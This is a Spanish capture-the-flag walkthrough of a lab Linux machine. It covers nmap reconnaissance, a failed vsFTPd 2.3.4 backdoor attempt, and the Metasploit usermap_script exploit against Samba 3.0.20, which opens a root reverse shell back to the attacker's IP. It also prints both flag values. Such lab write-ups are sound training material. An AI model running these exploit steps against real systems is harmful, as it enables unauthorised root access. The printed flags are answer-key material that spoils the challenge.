Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de los puertos y servicios de la máquina objetivo (IP del Lab: 10.129.28.0) para trazar los posibles vectores de ataque.
Escaneo Completo de Nmap
Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.28.0
Resultados Clave de Nmap
El escaneo revela varios puertos abiertos significativos sobre un entorno Linux:
- Puerto 21 (FTP): Servidor
vsFTPd 2.3.4. Permite el inicio de sesión anónimo (Anonymous FTP login allowed). - Puerto 22 (SSH): Servidor
OpenSSH 4.7p1 Debian 8ubuntu1. - Puertos 139 y 445 (SMB): Servidor
Samba smbd 3.X - 4.X(específicamente la versión heredadaSamba 3.0.20-Debian). - Puerto 3632 (distcc): Daemon de compilación distribuida
distcc v1.
Fase 2: Enumeración y Descarte de Rabbit Holes
El Backdoor de vsFTPd 2.3.4 (CVE-2011-2523)
La versión de FTP identificada (vsFTPd 2.3.4) es famosa en la comunidad de ciberseguridad por contener un backdoor que abre una consola de comandos en el puerto TCP 6200 cuando se inicia sesión con un nombre de usuario que contiene los caracteres :).
Intentamos explotar esta vulnerabilidad utilizando el módulo correspondiente de Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.129.28.0
set LHOST 10.10.15.148
run
Aunque el script de Metasploit detecta el banner de la versión vulnerable, no puede conectarse al puerto 6200. Esto se debe a que las reglas de cortafuegos de la máquina o del laboratorio bloquean las conexiones salientes e interactividad en puertos no estándar. Se trata de un rabbit hole (pista falsa) o un vector inactivo en este escenario.
Fase 3: Explotación del Servidor Samba (CVE-2007-2447)
La Vulnerabilidad ‘username map script’
Dado que FTP no funcionó, pasamos al servicio Samba. La versión expuesta es Samba 3.0.20-Debian. Esta versión es vulnerable a una ejecución remota de comandos no autenticada si se encuentra activa la opción username map script en el archivo de configuración smb.conf.
Esta vulnerabilidad, registrada como CVE-2007-2447, permite inyectar comandos del sistema directamente en el campo del nombre de usuario al realizar la autenticación, los cuales serán ejecutados por el servidor con altos privilegios.
Explotación con Metasploit
Buscamos el exploit en Metasploit y cargamos el módulo correspondiente:
msf > search samba 2447
use exploit/multi/samba/usermap_script
show options
Configuramos la IP de la máquina víctima (Lab: 10.129.28.0) y nuestra IP de Kali (LHOST=10.10.15.148):
set RHOSTS 10.129.28.0
set LHOST tun0
exploit
El exploit aprovecha la vulnerabilidad e inyecta una shell reversa. Se abre de inmediato una sesión de terminal interactiva.
Fase 4: Post-Explotación (Obtención de Flags)
¿Por qué no es necesaria la escalada de privilegios?
Dado que el demonio smbd de Samba se ejecuta bajo el contexto de root en el sistema operativo Linux para poder gestionar los archivos de todos los usuarios del sistema, cualquier comando inyectado a través del script de mapeo de nombres de usuario hereda automáticamente los permisos del propietario del proceso.
Al ejecutar el comando whoami en la terminal remota, se nos confirma que ya somos el usuario root:
whoami
Flag de Usuario (user.txt)
Navegamos a los directorios de /home y encontramos el usuario local makis. Accedemos a su escritorio y leemos el archivo correspondiente:
ls /home/
ls /home/makis
cat /home/makis/user.txt
- Flag de Usuario:
996ef89b49a06b80060c8a8141003972
Flag de Administrador (root.txt)
Nos desplazamos al directorio principal del Administrador /root para leer la flag final de compromiso de la máquina:
ls /root/
cat /root/root.txt
- Flag de Root:
848b871c3c3682944645bbacdc4f8bda
Fuentes y Referencias
- Samba ‘username map script’ (CVE-2007-2447) Exploit: Registro oficial en la base de datos de vulnerabilidades CVE de Mitre.
- vsFTPd 2.3.4 Backdoor (CVE-2011-2523): Registro de vulnerabilidad del backdoor en vsFTPd.